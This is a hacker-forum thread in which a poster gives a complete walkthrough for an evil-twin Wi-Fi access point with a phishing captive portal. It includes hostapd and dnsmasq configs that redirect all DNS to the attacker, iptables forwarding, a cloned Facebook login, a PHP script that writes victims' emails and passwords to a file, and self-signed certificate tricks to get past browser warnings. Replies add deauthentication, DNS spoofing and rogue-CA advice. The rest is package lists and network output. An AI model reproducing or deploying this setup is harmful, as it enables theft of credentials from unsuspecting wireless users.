

Forum:[Hack Forums](#)

Thread: [Captive Portal do it yourself! No Fluxion/Airgeddon/Wifiphisher. 100% custom](#)

FriendZone - July 31, 2018, 6:06 am

And now finally I'm going to show you how set up your own Captive Portal, probably you won't find a completed tutorial anywhere, except here!

First of all: This tutorial requires some skills, isn't hard, but if you're the kind of "hacker" who pretend to click buttons 'nd hack, simply go back, I won't explain every basic detail, I assume you are able to work with html, and some basic php code, and that's why you are here, coz you hate the templates other tools are offering, even modifying them you are seriously limited, I will guide you to set up a good Access Point to redirect every request to your local server.

Main Requirements: Hostapd, Dnsmasq, Apache2, Openssl

STEP 1: for this tutorial i will use 2 wifi cards wlan0 with internet working, and the second one wlan1 as access point

```
#airmon-ng start wlan1
```

STEP 2: let's make a clean directory for the .conf files

```
#mkdir /home/.../fakeAP
```

and create them

```
#nano /home/.../fakeAP/hostapd.conf
```

```
interface=wlan1mon
driver=nl80211
ssid=HERE THE SSID FOR THE EVIL TWIN
hw_mode=g
channel=HERE THE CHANNEL FOR THE EVIL TWIN
macaddr_acl=0
ignore_broadcast_ssid=0
```

and then save it and run it (move inside the fakeAP directory or call it with the right path)

```
#hostapd hostapd.conf
```

STEP 3: open a new terminal leaving hostapd running, and write the dnsmasq.conf

```
#nano /home/.../fakeAP/dnsmasq.conf
```

```
interface=wlan1mon
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
address=#!/192.168.1.1
```

N.B. address=#!/192.168.1.1 will force any request to your server, and basically connecting any devices it will give an ! on the wifi, but it happens every time you connect to any public wifi which requires a login, doesn't it? btw it can be just for some particular site like:
address=/google.com/192.168.1.1 and in this case you won't get a ! on the wifi icon (but you will require to set up traffic forwarding, check the STEP 6).

STEP 4: configure gateway and netmask for the wifi card

```
#ifconfig wlan1mon up 192.168.1.1 netmask 255.255.255.0
#route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```

STEP 5: let's run dnsmasq (move inside the fakeAP directory or call the right path)

```
#dnsmasq -C dnsmasq.conf -d
```

STEP 6: (OPTIONAL) TRAFFIC FORWARDING

```
#iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
#iptables --append FORWARD --in-interface wlan1mon -j ACCEPT
#echo 1 > /proc/sys/net/ipv4/ip_forward
```

STEP 7: APACHE easiest configuration (no enabled userdir or virtualhost, maybe i will explain them in the following days, the easiest configuration in not safe, but against common victims is still ok)

So we have the index.html in /var/www/html , now you actually need to save the html of any login page you're trying to clone or save the offline page to get every resource offline in a linked directory, the second way can be helpful to avoid missing logos after some period, but you can still make your own fake login page or real server to scam the victim, why not?

In my example i will show the most common case with facebook.com (yeah not a modern login page but we could create a fake google page and clicking on search we could simply link our fake facebook page, you just need imagination and this hack is giving you a letal weapon!)

So, we have to create a php code to get username and password and save them in a file (we could use a database but still too complex all together and for few victims we don't really need it, anyway i will add it here in the future)

inside /var/www/html (you can make another dir to get a clean work if you want)

```
#nano process.php
```

```
<?php if(isset($_POST['email']) && isset($_POST['pass'])) { $password=file_get_contents('got.txt');
$handler = fopen("got.txt", "w"); fwrite($handler,$password."Email : ".$_POST['email']." , Password : 
".$_POST['pass']."\n"); fclose($file); echo '<script>>window.location.href="LINK TO THE
FOLLOWING PAGE IN CASE WE FOUND EMAIL AND PASS"</script>'; } else echo
'<script>>window.location.href="index.html"</script>'; ?>
```

inside the facebook login html you will find something like this(ctrl+f):

```
<form id="login_form" action="....." method="post" onsubmit="return window.Event &&
Event.__inlineSubmit && Event.__inlineSubmit(this,event)">
```

you will add "process.php" instead of "....."

Save the login in var/www/html and rename it index.html if you want to show it as main page of any redirect and make the file got.txt, give it with chmod the write permissions by process.php (if you are in debugging phase simply give it every permission #chmod 777 got.txt, to be sure you re not encountering some security issue, the next part of tutorial which i will wrote will introduce the .htaccess to protect your server files until that, every user will able to find it!)

STEP 8: enable php on apache, check if you have it installed

```
#apt-get install libapache2-mod-php7
```

```
#a2enmod php7.0 (or 7.2 , btw in the next tutorials we will change this module to work even in the user directory)
```

STEP 9: Well, until this point your server should running simply starting apache with `#systemctl start apache2` and if you didn't force every site redirection in dnsmasq you would be able to navigate facing the login page only in the http sites added in `address=/*.com/192.168.1.1` (example) (this can be useful in many cases)

But we are going to redirect any http or https request to our server and to do that we should add certificates , you can buy a legit one but probably it will be removed and you will lost you money , so we need to create a key and an self-signed certificate (we will need openssl)

```
#openssl genrsa -des3 -out server.key 1024
```

```
#openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/mysite.key -out /etc/apache2/ssl/mysite.crt
```

(make the ssl directory if missing in apache2)

this phase will ask you some infos and a password

STEP 10: we need to communicate where apache can find the key and certificate, so

```
#nano /etc/apache2/site-avaible/default-ssl.conf
```

and find :

```
SSLCertificateFile .....  
SSLCertificateKeyFile .....
```

add to the their Path `/etc/apache2/ssl/mysite.crt` and `/etc/apache2/ssl/mysite.key`

And then we can force a permanent redirection to the https version of our site:

```
#nano /etc/apache2/site-avaible/000-default.conf
```

and we will add under `#ServerName` ...

Redirect Permanent / https : //192.168.1.1/ (remove the spaces between :)

STEP 11:

```
#a2enmod ssl  
#systemctl start apache2
```

Conclusion: in this way you will get a untrusted certificate warning on every browser you will test, but if the victim will add it as exception, you have won, and believe me: almost every public login (like university login page) give this kind of warning!

What in this tutorial is missing, is the deauth attack part to force the victim to connect to the fake access point, but i guess no one need another aireplay tutorial right?

In the next tutorial we will create something safer in apache and I will give you some tips!

Last_viking - August 11, 2018, 3:28 am

Great tutorial keep the good work up
look forward to see your new tutorial
I suggest you add pictures,snaps this look to blunt

adios1 - August 13, 2018, 2:10 am

Thank you so much for this ! Good work

FriendZone - August 13, 2018, 2:35 am

Thank you! I will start the next part today/tomorrow and i will follow your advice last viking ! I'm just a little busy lately with the new kali update, the new kernel 4.17 seems having a lot of issues

cryptodreamer - August 14, 2018, 2:30 pm

can i use 1 usb card with monitor mode and the other wireless adapter from my mobo ?
my mobo have 2 wireless adapter but i don't think they have monitor mode

FriendZone - August 14, 2018, 11:11 pm

(Aug 14, 2018 02:30 PM)cryptodreamer Wrote: [\[CITE\]](#) can i use 1 usb card with monitor mode and the other wireless adapter from my mobo ?

my mobo have 2 wireless adapter but i don't think they have monitor mode

Ofc you can I do in the same way, btw remember (and is not in this tutorial) you need to aireplay with 0 flag for the deauth attack, so the victim won't connect to the real AP.

Check if one of them can actually go in monitor mode.

cryptodreamer - August 15, 2018, 10:10 am

i think you forget to add that we need to boost the wireless signal

only the usb card have monitor mode

FriendZone - August 16, 2018, 2:21 am

(Aug 15, 2018 10:10 AM)cryptodreamer Wrote: [\[CITE\]](#) only the usb card have monitor modethen use the usb card in monitor mode and the embedded one as normal wireless for the internet traffic

(Aug 15, 2018 10:10 AM)cryptodreamer Wrote: [\[CITE\]](#) i think you forget to add that we need to boost the wireless signal

My tutorial focus isn't on the attack itself, is the technical configuration you need to move this kind of attacks, boost signal which actually doesn't work without modified drivers isn't part of the tutorial as the deauth attack phase.

Check here: <https://hackforums.net/showthread.php?tid=5578652>

Also my tutorial can easily moved on a dns spoofing attack which is totally different, considering you already have the access to the LAN, you can force with any spoofer (i.e. Bettercap) to your own captive portal/server, depending by caches saved on the victims, and by the browser used (chrome for example doesn't let easily move an attack against facebook). Just skipping the first 6 steps. (And it doesn't requires signal boosting)

dhiraj1810 - August 16, 2018, 2:50 am

Thank you so much for this ! Good work :)

tomas14 - August 21, 2018, 9:33 am

Good work :) Thanks for sharing tutorial

r0kford - October 24, 2018, 12:19 am

sorry for grave digging. but does anybody know what happens when you don't use a cert>? And I guess the question is which way has the loudest warning?

Personally I would think no warning is better then a warning

FriendZone - October 24, 2018, 3:31 am

(Oct 24, 2018 12:19 AM)r0kford Wrote: [\[CITE\]](#) sorry for grave digging. but does anybody know what happens when you don't use a cert>? And I guess the question is which way has the loudest warning?

Personally I would think no warning is better then a warning

thanks for the questions, I'm working on a remake of this tutorial with pics and more details.

first of all, if you don't use an auto-signed cert you cannot move an https request to an http (SSL strip module of many tools works only when there is an http version of the site). It means the captive portal or the dns spoofing won't be able to redirect <https://X.com> to you http local host/server ip. It will get an error, depending by browsers, you cannot bypass it.

Instead the upgrade of an http request to an https request is possible, and it happens often. Forcing redirection in the 000default.conf "Permanent Redirect" of your apache server does it. You can avoid it: every http request will be moved on the port 80 of your server and every https will be moved on the auto-signed version https of your server 443 --> it means http pages won't get any warning, but at this point it's social engineering, because mostly of what you need to know today is encrypted and when a victim will notice that http works but https gets warnings, I'm not sure he will fill a password, meanwhile when he will get a warning in a common useless page, accepting it, you win. That's just my opinion, there are for sure many cases where no warning for http is better.

About no getting warning for https requests (anyway different browsers react in different ways, and browser caches can let you get different results) you need a rogue CA, and 10 years ago you could try cracking MD5, or maybe some SHA-1 collision (last time i heard it was in 2012), if you can obtain a trusted certificate by the victim browser you have no limit of what you can do.

r0kford - December 10, 2018, 3:35 pm

If you don't mind I'd like to keep in touch with you.

FriendZone - December 10, 2018, 10:53 pm

(Dec 10, 2018 04:35 PM)r0kford Wrote: [\[CITE\]](#) If you dont mind id like to keep in touch with you. Ask me everything!

Atm I'm working on the next tutorial about captive portals, i have finally accomplished the captive automatic pop up for the login if you need it

r0kford - December 11, 2018, 12:38 am

(Dec 10, 2018 11:53 PM)Hexecutor Wrote: [\[CITE\]](#) Ask me everything!

Atm I'm working on the next tutorial about captive portals, i have finally accomplished the captive automatic pop up for the login if you need it
i would very much like the automatic popup

I have an anonabox pro. I think its configured to run captive portals. Id like to find a way to incorporate it.

FriendZone - December 11, 2018, 1:10 am

(Dec 11, 2018 01:38 AM)r0kford Wrote: [\[CITE\]](#) i would very much like the automatic popup

I have an anonabox pro. I think its configured to run captive portals. Id like to find a way to incorporate it.

I can help you but without the product will be hard, show me some configuration screenshots

r0kford - December 11, 2018, 2:50 am

this is the software on it.

```
Remove kmod-nf-contrack6 4.4.14-1
Remove kmod-nf-ipt 4.4.14-1
Remove kmod-nf-ipt6 4.4.14-1
Remove kmod-nf-nat 4.4.14-1
Remove kmod-nfnetlink 4.4.14-1
Remove kmod-nls-base 4.4.14-1
Remove kmod-nls-utf8 4.4.14-1
Remove kmod-ppp 4.4.14-1
Remove kmod-pppoe 4.4.14-1
Remove kmod-pppox 4.4.14-1
Remove kmod-scsi-core 4.4.14-1
Remove kmod-slhc 4.4.14-1
Remove kmod-tun 4.4.14-1
Remove kmod-usb-core 4.4.14-1
Remove kmod-usb-ohci 4.4.14-1
Remove kmod-usb-storage 4.4.14-1
Remove kmod-usb-storage-extras 4.4.14-1
Remove kmod-usb2 4.4.14-1
Remove kmod-usb2-pci 4.4.14-1
Remove kmod-usb3 4.4.14-1
Remove liballium 2014-05-09-HEAD
Remove libattr 20160302-1
Remove libblkid 2.28-1
Remove libblobmsg-json 2016-11-29-77a629375d..cab
Remove libbz2 1.0.6-2
Remove libc 1.1.16-1
```

Remove libcap 2.25-1
Remove libdb47 4.7.25.4.NC-5
Remove libevent2 2.0.22-1
Remove libexpat 2.2.4-1
Remove libffi 3.2.1-3
Remove libgcc 5.3.0-1
Remove libgd 2.2.4-2
Remove libgdbm 1.11-1
Remove libgmp 6.1.1-1
Remove libip4tc 1.4.21-2
Remove libip6tc 1.4.21-2
Remove libiwinfo 2016-01-25-e4aca3910d..9bf
Remove libiwinfo-lua 2016-01-25-e4aca3910d..9bf
Remove libjpeg 9a-1
Remove libjson-c 0.12-1
Remove libjson-script 2016-11-29-77a629375d..cab
Remove libltdl 2.4-1
Remove liblua 5.1.5-1
Remove liblzo 2.09-1
Remove libmnl 1.0.3-2
Remove libmount 2.28-1
Remove libncursesw 5.9-3
Remove libnl-tiny 0.1-5
Remove libopenssl 1.0.2j-1
Remove libpcre 8.41-2
Remove libpng 1.6.32-1
Remove libpthread 1.1.16-1
Remove librpc 2015-11-04-a921e3ded0..aac
Remove librrd1 1.0.50-2
Remove librt 1.1.16-1
Remove libsmartcols 2.28-1
Remove libsqlite3 3210000-1
Remove libstdc++ 5.3.0-1
Remove libubox 2016-11-29-77a629375d..cab
Remove libubus 2016-07-02-053be7df87..12f
Remove libubus-lua 2016-07-02-053be7df87..12f
Remove libuci 2016-07-04.1-1
Remove libuci-lua 2016-07-04.1-1
Remove libuclient 2016-01-28-2e0918c7e0..5f3
Remove libuuid 2.28-1
Remove libxml2 2.9.7-1
Remove libxtables 1.4.21-2
Remove libyaml 0.1.6-1
Remove logd 2016-07-19-aead2c0cbf..21a
Remove lua 5.1.5-1
Remove luci git-17.293.52428-5e28002-1
Remove luci-app-accesscontrol 1.2
Remove luci-app-adblock git-17.293.52428-5e28002-1
Remove luci-app-commands git-17.293.52428-5e28002-1
Remove luci-app-firewall git-17.293.52428-5e28002-1
Remove luci-app-hma 0.1.4-6
Remove luci-app-openvpn git-17.293.52428-5e28002-1
Remove luci-app-pia 0.0.9-1

Remove luci-app-statistics git-17.293.52428-5e28002-1
Remove luci-app-tor 0.0.1-1
Remove luci-app-uhttpd git-17.293.52428-5e28002-1
Remove luci-app-vnstat git-17.293.52428-5e28002-1
Remove luci-app-vpnbypass git-17.293.52428-5e28002-1
Remove luci-app-vypr 0.1.1-1
Remove luci-app-watchcat git-17.293.52428-5e28002-1
Remove luci-app-wifischedule git-17.293.52428-5e28002-1
Remove luci-base git-17.293.52428-5e28002-1
Remove luci-lib-ip git-17.293.52428-5e28002-1
Remove luci-lib-jsonc git-17.293.52428-5e28002-1
Remove luci-lib-nixio git-17.293.52428-5e28002-1
Remove luci-mod-admin-full git-17.293.52428-5e28002-1
Remove luci-proto-ipv6 git-17.293.52428-5e28002-1
Remove luci-proto-ppp git-17.293.52428-5e28002-1
Remove luci-theme-anonabox 0.1.0-1
Remove luci-theme-bootstrap git-17.293.52428-5e28002-1
Remove mount-utils 2.28-1
Remove mntd 2015-11-22-8476a03b25..6f8
Remove mtd 21
Remove netifd 2016-12-09-edc15caac6..3dc
Remove obfsclient 0.1.4-1
Remove obfsproxy 0.2.13-1
Remove odhcp6c 2016-02-08-7533a6243d..e07
Remove odhcpd 2016-10-09-801cfeea10..860
Remove openvpn-openssl 2.3.11-1
Remove opkg 9c97d5ecd795709c8584e..-15
Remove ppp 2.4.7-9
Remove ppp-mod-pppoe 2.4.7-9
Remove procd 2016-07-29-2c9f5d4af1..58b
Remove python 2.7.14-4
Remove python-base 2.7.14-4
Remove python-codecs 2.7.14-4
Remove python-compiler 2.7.14-4
Remove python-crypto 2.6.1-1
Remove python-ctypes 2.7.14-4
Remove python-db 2.7.14-4
Remove python-decimal 2.7.14-4
Remove python-distutils 2.7.14-4
Remove python-email 2.7.14-4
Remove python-gdbm 2.7.14-4
Remove python-light 2.7.14-4
Remove python-logging 2.7.14-4
Remove python-multiprocessing 2.7.14-4
Remove python-ncurses 2.7.14-4
Remove python-openssl 2.7.14-4
Remove python-pydoc 2.7.14-4
Remove python-pyptlib 0.0.6-1
Remove python-setuptools 28.8.0
Remove python-sqlite3 2.7.14-4
Remove python-unittest 2.7.14-4
Remove python-xml 2.7.14-4
Remove python-yaml 3.12-1

Remove rpcd 2016-06-30-23417e94d2..43a
Remove rpcd-mod-rrdns 20170710
Remove rrdtool1 1.0.50-2
Remove swconfig 11
Remove terminfo 5.9-3
Remove tor 0.3.1.8-1
Remove twisted 16.4.1-1
Remove uboot-envtools 2015.10-1
Remove ubox 2016-07-19-aead2c0cbf..21a
Remove ubus 2016-07-02-053be7df87..12f
Remove ubusd 2016-07-02-053be7df87..12f
Remove uci 2016-07-04.1-1
Remove uclient-fetch 2016-01-28-2e0918c7e0..5f3
Remove uhttpd 2016-10-05-fe01ef3f52..6b7
Remove uhttpd-mod-ubus 2016-10-05-fe01ef3f52..6b7
Remove unzip 6.0-5
Remove usign 2016-07-04-ef6419142a..f89
Remove vnstat 1.17-1
Remove vnstat1 1.17-1
Remove vpnbypass 1.3.0-6
Remove watchcat 1-6
Remove wget 1.19.2-2
Remove wifischedule 1-2
Remove wpad-mini 2016-06-15-1
Remove zlib 1.2.8-1
Remove zope-interface 4.3.2-1

Remove base-files 169-50088
Remove block-mount 2016-07-24-addd7dc21f..01d
Remove busybox 1.24.2-1
Remove ca-bundle 20161130
Remove ca-certificates 20161130
Remove collectd 5.7.2-2
Remove collectd-mod-cpu 5.7.2-2
Remove collectd-mod-interface 5.7.2-2
Remove collectd-mod-iwinfo 5.7.2-2
Remove collectd-mod-load 5.7.2-2
Remove collectd-mod-memory 5.7.2-2
Remove collectd-mod-network 5.7.2-2
Remove collectd-mod-rrdtool 5.7.2-2
Remove dnsmasq 2.76-1
Remove dropbear 2016.74-1
Remove firewall 2016-11-29-1
Remove fstools 2016-07-24-addd7dc21f..01d
Remove glib2 2.55.0-1
Remove hostapd-common 2016-06-15-1
Remove htop 2.0.2-1
Remove ip6tables 1.4.21-2
Remove ipset 6.24-1
Remove iptables 1.4.21-2
Remove iw 4.3-1
Remove iwinfo 2016-01-25-e4aca3910d..9bf
Remove jshn 2016-11-29-77a629375d..cab

Remove jsonfilter 2016-07-02-dea067ad67..0c7
Remove kernel 4.4.14-1-b90718b16c77..9d8
Remove kmod-ath 4.4.14+2016-05-12-1
Remove kmod-ath9k 4.4.14+2016-05-12-1
Remove kmod-ath9k-common 4.4.14+2016-05-12-1
Remove kmod-cfg80211 4.4.14+2016-05-12-1
Remove kmod-crypto-crc32c 4.4.14-1
Remove kmod-crypto-hash 4.4.14-1
Remove kmod-fs-autofs4 4.4.14-1
Remove kmod-fs-exportfs 4.4.14-1
Remove kmod-fs-hfs 4.4.14-1
Remove kmod-fs-hfsplus 4.4.14-1
Remove kmod-fs-ntfs 4.4.14-1
Remove kmod-fs-vfat 4.4.14-1
Remove kmod-fs-xfs 4.4.14-1
Remove kmod-gpio-button-hotplug 4.4.14-2
Remove kmod-ip6tables 4.4.14-1
Remove kmod-ipt-contrack 4.4.14-1
Remove kmod-ipt-core 4.4.14-1
Remove kmod-ipt-ipset 4.4.14-1
Remove kmod-ipt-nat 4.4.14-1
Remove kmod-ledtrig-morse 4.4.14-1
Remove kmod-ledtrig-usbdev 4.4.14-1
Remove kmod-lib-crc-ccitt 4.4.14-1
Remove kmod-lib-crc32c 4.4.14-1
Remove kmod-mac80211 4.4.14+2016-05-12-1
Remove kmod-nf-contrack 4.4.14-1

you can put dnsmasq and apache on it too..

You can host an onion site off of it so im sure it can host a cp..

FriendZone - December 11, 2018, 11:25 am

(Dec 11, 2018 03:50 AM)r0kford Wrote: [\[CITE\]](#) this is the software on it.

Remove kmod-nf-contrack6 4.4.14-1
Remove kmod-nf-ipt 4.4.14-1
Remove kmod-nf-ipt6 4.4.14-1
Remove kmod-nf-nat 4.4.14-1
Remove kmod-nfnetlink 4.4.14-1
Remove kmod-nls-base 4.4.14-1
Remove kmod-nls-utf8 4.4.14-1
Remove kmod-ppp 4.4.14-1
Remove kmod-pppoe 4.4.14-1
Remove kmod-pppox 4.4.14-1
Remove kmod-scsi-core 4.4.14-1
Remove kmod-slh 4.4.14-1
Remove kmod-tun 4.4.14-1
Remove kmod-usb-core 4.4.14-1
Remove kmod-usb-ohci 4.4.14-1
Remove kmod-usb-storage 4.4.14-1
Remove kmod-usb-storage-extras 4.4.14-1
Remove kmod-usb2 4.4.14-1

Remove kmod-usb2-pci 4.4.14-1
Remove kmod-usb3 4.4.14-1
Remove liballium 2014-05-09-HEAD
Remove libattr 20160302-1
Remove libblkid 2.28-1
Remove libblobmsg-json 2016-11-29-77a629375d..cab
Remove libbz2 1.0.6-2
Remove libc 1.1.16-1
Remove libcap 2.25-1
Remove libdb47 4.7.25.4.NC-5
Remove libevent2 2.0.22-1
Remove libexpat 2.2.4-1
Remove libffi 3.2.1-3
Remove libgcc 5.3.0-1
Remove libgd 2.2.4-2
Remove libgdbm 1.11-1
Remove libgmp 6.1.1-1
Remove libip4tc 1.4.21-2
Remove libip6tc 1.4.21-2
Remove libiwinfo 2016-01-25-e4aca3910d..9bf
Remove libiwinfo-lua 2016-01-25-e4aca3910d..9bf
Remove libjpeg 9a-1
Remove libjson-c 0.12-1
Remove libjson-script 2016-11-29-77a629375d..cab
Remove libltdl 2.4-1
Remove liblua 5.1.5-1
Remove liblzo 2.09-1
Remove libmnl 1.0.3-2
Remove libmount 2.28-1
Remove libncursesw 5.9-3
Remove libnl-tiny 0.1-5
Remove libopenssl 1.0.2j-1
Remove libpcre 8.41-2
Remove libpng 1.6.32-1
Remove libpthread 1.1.16-1
Remove librpc 2015-11-04-a921e3ded0..aac
Remove librrd1 1.0.50-2
Remove librt 1.1.16-1
Remove libsmartcols 2.28-1
Remove libsqlite3 3210000-1
Remove libstdcpp 5.3.0-1
Remove libubox 2016-11-29-77a629375d..cab
Remove libubus 2016-07-02-053be7df87..12f
Remove libubus-lua 2016-07-02-053be7df87..12f
Remove libuci 2016-07-04.1-1
Remove libuci-lua 2016-07-04.1-1
Remove libuclient 2016-01-28-2e0918c7e0..5f3
Remove libuuid 2.28-1
Remove libxml2 2.9.7-1
Remove libxtables 1.4.21-2
Remove libyaml 0.1.6-1
Remove logd 2016-07-19-aead2c0cbf..21a
Remove lua 5.1.5-1

Remove luci-git-17.293.52428-5e28002-1
Remove luci-app-accesscontrol 1.2
Remove luci-app-adblock git-17.293.52428-5e28002-1
Remove luci-app-commands git-17.293.52428-5e28002-1
Remove luci-app-firewall git-17.293.52428-5e28002-1
Remove luci-app-hma 0.1.4-6
Remove luci-app-openvpn git-17.293.52428-5e28002-1
Remove luci-app-pia 0.0.9-1
Remove luci-app-statistics git-17.293.52428-5e28002-1
Remove luci-app-tor 0.0.1-1
Remove luci-app-uhttpd git-17.293.52428-5e28002-1
Remove luci-app-vnstat git-17.293.52428-5e28002-1
Remove luci-app-vpnbypass git-17.293.52428-5e28002-1
Remove luci-app-vypr 0.1.1-1
Remove luci-app-watchcat git-17.293.52428-5e28002-1
Remove luci-app-wifischedule git-17.293.52428-5e28002-1
Remove luci-base git-17.293.52428-5e28002-1
Remove luci-lib-ip git-17.293.52428-5e28002-1
Remove luci-lib-jsonc git-17.293.52428-5e28002-1
Remove luci-lib-nixio git-17.293.52428-5e28002-1
Remove luci-mod-admin-full git-17.293.52428-5e28002-1
Remove luci-protocol-ipv6 git-17.293.52428-5e28002-1
Remove luci-protocol-ppp git-17.293.52428-5e28002-1
Remove luci-theme-anonabox 0.1.0-1
Remove luci-theme-bootstrap git-17.293.52428-5e28002-1
Remove mount-utils 2.28-1
Remove mntd 2015-11-22-8476a03b25..6f8
Remove mtd 2.1
Remove netifd 2016-12-09-edc15caac6..3dc
Remove obfsclient 0.1.4-1
Remove obfsproxy 0.2.13-1
Remove odhcp6c 2016-02-08-7533a6243d..e07
Remove odhcpd 2016-10-09-801cf6ea10..860
Remove openvpn-openssl 2.3.11-1
Remove opkg 9c97d5ecd795709c8584e..-15
Remove ppp 2.4.7-9
Remove ppp-mod-pppoe 2.4.7-9
Remove procd 2016-07-29-2c9f5d4af1..58b
Remove python 2.7.14-4
Remove python-base 2.7.14-4
Remove python-codecs 2.7.14-4
Remove python-compiler 2.7.14-4
Remove python-crypto 2.6.1-1
Remove python-ctypes 2.7.14-4
Remove python-db 2.7.14-4
Remove python-decimal 2.7.14-4
Remove python-distutils 2.7.14-4
Remove python-email 2.7.14-4
Remove python-gdbm 2.7.14-4
Remove python-light 2.7.14-4
Remove python-logging 2.7.14-4
Remove python-multiprocessing 2.7.14-4
Remove python-ncurses 2.7.14-4

Remove python-openssl 2.7.14-4
Remove python-pydoc 2.7.14-4
Remove python-pyptlib 0.0.6-1
Remove python-setuptools 28.8.0
Remove python-sqlite3 2.7.14-4
Remove python-unittest 2.7.14-4
Remove python-xml 2.7.14-4
Remove python-yaml 3.12-1
Remove rpcd 2016-06-30-23417e94d2..43a
Remove rpcd-mod-rrdns 20170710
Remove rrdtool1 1.0.50-2
Remove swconfig 11
Remove terminfo 5.9-3
Remove tor 0.3.1.8-1
Remove twisted 16.4.1-1
Remove uboot-envtools 2015.10-1
Remove ubox 2016-07-19-aead2c0cbf..21a
Remove ubus 2016-07-02-053be7df87..12f
Remove ubusd 2016-07-02-053be7df87..12f
Remove uci 2016-07-04.1-1
Remove uclient-fetch 2016-01-28-2e0918c7e0..5f3
Remove uhttpd 2016-10-05-fe01ef3f52..6b7
Remove uhttpd-mod-ubus 2016-10-05-fe01ef3f52..6b7
Remove unzip 6.0-5
Remove usign 2016-07-04-ef6419142a..f89
Remove vnstat 1.17-1
Remove vnstat1 1.17-1
Remove vpnbypass 1.3.0-6
Remove watchcat 1-6
Remove wget 1.19.2-2
Remove wifischedule 1-2
Remove wpad-mini 2016-06-15-1
Remove zlib 1.2.8-1
Remove zope-interface 4.3.2-1

Remove base-files 169-50088
Remove block-mount 2016-07-24-addd7dc21f..01d
Remove busybox 1.24.2-1
Remove ca-bundle 20161130
Remove ca-certificates 20161130
Remove collectd 5.7.2-2
Remove collectd-mod-cpu 5.7.2-2
Remove collectd-mod-interface 5.7.2-2
Remove collectd-mod-iwinfo 5.7.2-2
Remove collectd-mod-load 5.7.2-2
Remove collectd-mod-memory 5.7.2-2
Remove collectd-mod-network 5.7.2-2
Remove collectd-mod-rrdtool 5.7.2-2
Remove dnsmasq 2.76-1
Remove dropbear 2016.74-1
Remove firewall 2016-11-29-1
Remove fstools 2016-07-24-addd7dc21f..01d
Remove glib2 2.55.0-1

Remove hostapd-common 2016-06-15-1
Remove htop 2.0.2-1
Remove ip6tables 1.4.21-2
Remove ipset 6.24-1
Remove iptables 1.4.21-2
Remove iw 4.3-1
Remove iwinfo 2016-01-25-e4aca3910d..9bf
Remove jshn 2016-11-29-77a629375d..cab
Remove jsonfilter 2016-07-02-dea067ad67..0c7
Remove kernel 4.4.14-1-b90718b16c77..9d8
Remove kmod-ath 4.4.14+2016-05-12-1
Remove kmod-ath9k 4.4.14+2016-05-12-1
Remove kmod-ath9k-common 4.4.14+2016-05-12-1
Remove kmod-cfg80211 4.4.14+2016-05-12-1
Remove kmod-crypto-crc32c 4.4.14-1
Remove kmod-crypto-hash 4.4.14-1
Remove kmod-fs-autofs4 4.4.14-1
Remove kmod-fs-exportfs 4.4.14-1
Remove kmod-fs-hfs 4.4.14-1
Remove kmod-fs-hfsplus 4.4.14-1
Remove kmod-fs-ntfs 4.4.14-1
Remove kmod-fs-vfat 4.4.14-1
Remove kmod-fs-xfs 4.4.14-1
Remove kmod-gpio-button-hotplug 4.4.14-2
Remove kmod-ip6tables 4.4.14-1
Remove kmod-ipt-contrack 4.4.14-1
Remove kmod-ipt-core 4.4.14-1
Remove kmod-ipt-ipset 4.4.14-1
Remove kmod-ipt-nat 4.4.14-1
Remove kmod-ledtrig-morse 4.4.14-1
Remove kmod-ledtrig-usbdev 4.4.14-1
Remove kmod-lib-crc-ccitt 4.4.14-1
Remove kmod-lib-crc32c 4.4.14-1
Remove kmod-mac80211 4.4.14+2016-05-12-1
Remove kmod-nf-contrack 4.4.14-1

you can put dnsmasq and apache on it too..

You can host an onion site off of it so im sure it can host a cp..

Is there hostapd or an alternative? It has some terminal to configure everything?

r0kford - December 11, 2018, 3:31 pm

hostapd can be added and its based on debian. I havnt really messed with it yet but i think its all open source. Im about to play around with it.

FriendZone - December 11, 2018, 5:16 pm

(Dec 11, 2018 04:31 PM)r0kford Wrote: [\[CITE\]](#) hostapd can be added and its based on debian. I havnt really messed with it yet but i think its all open source. Im about to play around with it.

So do you actually have a terminal? If yes what is the

Code ifconfigAnd

Code iwconfig output?

Just to understand how change the hostapd and dnsmasq config files

ifconfig

eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether txqueuelen 1000 (Ethernet)
RX packets 2638495 bytes 2769492926 (2.5 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2660458 bytes 181199074 (172.8 MiB)
TX errors 2 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 11189506 bytes 2371390183 (2.2 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 11189506 bytes 2371390183 (2.2 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun3: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.12.1.86 netmask 255.255.255.255 destination 10.12.1.85
inet6 fe80::80e5:e142:d1c0:97ac prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9 bytes 452 (452.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.19.187 netmask 255.255.255.0 broadcast 192.168.19.255
inet6 f:4699:e4f1:ba26 prefixlen 64 scopeid 0x20<link>
ether 68:a3:c4:5e:ab:fb txqueuelen 1000 (Ethernet)
RX packets 5918864 bytes 6132845480 (5.7 GiB)
RX errors 0 dropped 1 overruns 0 frame 0
TX packets 8634546 bytes 742488882 (708.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

iwconfig

tun3 no wireless extensions.

wlan0 IEEE 802.11 ESSID:"r0kford"
Mode:Managed Frequency:2.412 GHz Access Point: 0E:E
Bit Rate=26 Mb/s Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
